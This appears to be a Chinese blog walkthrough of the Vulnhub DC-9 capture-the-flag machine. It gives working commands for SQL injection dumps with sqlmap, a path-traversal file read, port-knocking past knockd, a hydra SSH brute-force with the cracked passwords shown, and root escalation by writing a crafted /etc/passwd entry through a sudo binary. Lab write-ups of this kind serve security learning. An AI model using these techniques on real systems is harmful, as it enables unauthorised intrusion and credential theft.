- nmap -sP 192.168.0.1/24
- nmap -A -p 1-65535 192.168.0.114 发现开放22被过滤/80
- 80端口进入随便点点
- 在Display All Records 发现一些个人信息,在Search模块中用姓查询
- 这个地方可能有sql注入,Mary‘,Mary'-- -,发现sql注入
- burp抓包sqlmap
- python sqlmap.py -r "D:\桌面\852.txt" --batch -D Staff -T Users -C "Password,UserID,Username" --dump
- 浏览器解密得admin:transorbital1
- python sqlmap.py -r "D:\桌面\852.txt" --batch -D users -T UserDetails -C "username,password" --dump获得明文用户名密码保存为user.txt pass.txt
- 利用admin登录,发现File does not exist,联想到文件包含
- wfuzz -b 'PHPSESSID=767qtaqrp5l1pima05icg77shu' -c --hh 1341 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.0.114/manage.php/?FUZZ=../../../../../../../../../../etc/passwd
- SSH服务是容易被攻击的,相应的就衍生出一系列保护SSH的方法:
1、端口变化,并加强配置
2、设置用户白名单
3、完全隐藏允许SSH访问的事实,要求根据特殊的“敲门”序列识别有效用户:https://zhuanlan.zhihu.com/p/43716885
第三种方法常使用的工具是knockd,它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中。通过查看目标服务器运行进程看看是否开启了knockd: - http://192.168.0.114/manage.php?file=../../../../proc/sched_debug看看是否存在knockd
- /proc/sched_debug中存放的是CPU的调度情况。确定了目标服务器上运行了knockd以后,knockd的默认配置文件的位置在/etc/knockd.conf中:[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn - 可以看到knockd的序号是7469,8475,9842.安装knockd以后使用knock敲门后再用hydra进行爆破:简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序
敲击
端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口 - nc 192.168.0.114 7469
nc 192.168.0.114 8475
nc 192.168.0.114 9842 - hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt ssh://192.168.0.114[22][ssh] host: 192.168.0.114 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.0.114 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.0.114 login: janitor password: Ilovepeepee - ssh登录第三个用户发现隐藏文件夹cd .secrets-for-putin
- 发现新的密码,加入之前的pass.txt,重新爆破获得新的[22][ssh] host: 192.168.0.114 login: fredf password: B4-Tru3-001
- 使用这对用户名和密码登录ssh后,sudo -l一下发现可以不需要密码就执行root的test文件:(root) NOPASSWD: /opt/devstuff/dist/test/test
- 在其父目录得父目录中找到了test.py,看来test的作用是把第一个文件的内容附加到第二个文件中
openssl passwd -1 -salt root1 666
root1:$1$root1$XWBhesw1wJPdUdB54.rhA.:0:0::/root:/bin/bash - echo 'root1:$1$root1$XWBhesw1wJPdUdB54.rhA.:0:0::/root:/bin/bash' > /tmp/pass
- sudo /opt/devstuff/dist/test/test /tmp/pass /etc/passwd
- su root1
- 666
- ███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝Congratulations - you have done well to get to this point.Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.So long, and thanks for all the fish.
- 文章借鉴:(26条消息) 【Vulnhub】DC9_大方子-CSDN博客
vulnhub渗透实战-DC9 - Wuzhiyu - 博客园 (cnblogs.com)
文章收获
- wfuzz文件包含参数爆破
- knockd敲门防ssh爆破
- /proc/sched_debug中存放的是CPU的调度情况
- openssl passwd -1 -salt root1 666
root1:$1$root1$XWBhesw1wJPdUdB54.rhA.:0:0::/root:/bin/bash
用户名:密码占位符:UID:GID:注释信息(没实际作用,基本空的):用户主目录:用户shell
Comments NOTHING